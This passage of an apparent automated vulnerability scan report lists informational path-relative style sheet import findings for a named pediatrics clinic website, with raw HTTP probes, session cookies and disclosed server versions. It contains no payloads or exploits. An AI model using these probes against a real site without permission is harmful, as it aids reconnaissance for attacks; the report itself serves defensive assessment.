GET /thank-you.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=1hv4oeqg69epvcqqi5jkf95du1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:09:29 GMT
 Connection: close

 Content-Length: 11743
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /thank-you.php/pf5wzq/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=1hv4oeqg69epvcqqi5jkf95du1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:10:36 GMT
 Connection: close

 Content-Length: 11743
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /thank-you.php/pf5wzq/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=1hv4oeqg69epvcqqi5jkf95du1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:10:37 GMT
 Connection: close

 Content-Length: 11743
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.33. http://www.yourwebsite.com/tory-banks-fnp.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /tory-banks-fnp.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /tory-banks-fnp.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=a6aiffgmen1qc2asncmnndhas2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:36:38 GMT
 Connection: close

 Content-Length: 13557
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /tory-banks-fnp.php/hmi0vw/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=a6aiffgmen1qc2asncmnndhas2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:38:02 GMT
 Connection: close

 Content-Length: 13557
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /tory-banks-fnp.php/hmi0vw/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=a6aiffgmen1qc2asncmnndhas2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:38:03 GMT
 Connection: close

 Content-Length: 13557
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.34. http://www.yourwebsite.com/urgent-care-emergency.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /urgent-care-emergency.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /urgent-care-emergency.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=anjkme5fa7mrfjpqeuqqa9bp63
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/urgent-care-emergency.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:09:29 GMT
 Connection: close

 Content-Length: 6954
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /urgent-care-emergency.php/bx394c/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=anjkme5fa7mrfjpqeuqqa9bp63
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/urgent-care-emergency.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.6.12
X-Powered-By: ASP.NET
Date: Thu, 07 Apr 2022 01:13:43 GMT
Connection: close
Content-Length: 6954

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv
...[SNIP]...
<meta name="viewport" content="width=320, user-scalable=no" />
<link href="styles-mobile.css" rel="stylesheet" media="screen"/>
<li k l " h t t i " h f "f i i " />

Request 3

GET /urgent-care-emergency.php/bx394c/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=anjkme5fa7mrfjpqeuqqa9bp63
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/urgent-care-emergency.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:13:47 GMT
 Connection: close

 Content-Length: 6954
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.35. http://www.yourwebsite.com/virtual-visits.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /virtual-visits.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /virtual-visits.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=nn6ieb3mb2ipe7dl1mn3o8l3g5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:45:12 GMT
 Connection: close

 Content-Length: 12347
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /virtual-visits.php/pe87fe/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=nn6ieb3mb2ipe7dl1mn3o8l3g5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:48:23 GMT
 Connection: close

 Content-Length: 12347
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /virtual-visits.php/pe87fe/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=nn6ieb3mb2ipe7dl1mn3o8l3g5
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:48:23 GMT
 Connection: close

 Content-Length: 12347
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.36. http://www.yourwebsite.com/wendy-davison.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /wendy-davison.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /wendy-davison.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=g1jfu3b29tphrve2u15vmf9rd4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/wendy-davison.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:09:19 GMT
 Connection: close

 Content-Length: 6436
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /wendy-davison.php/nu3d7q/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=g1jfu3b29tphrve2u15vmf9rd4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/wendy-davison.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:12:35 GMT
 Connection: close

 Content-Length: 6436
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /wendy-davison.php/nu3d7q/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=g1jfu3b29tphrve2u15vmf9rd4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/wendy-davison.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:12:35 GMT
 Connection: close

 Content-Length: 6436
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.37. http://www.yourwebsite.com/wic-medicaid.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /wic-medicaid.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /wic-medicaid.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=dmif7qd6f19lk4403efdkiimf6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:21:40 GMT
 Connection: close

 Content-Length: 14227
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /wic-medicaid.php/am7lq3/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=dmif7qd6f19lk4403efdkiimf6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:22:30 GMT
 Connection: close

 Content-Length: 14227
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

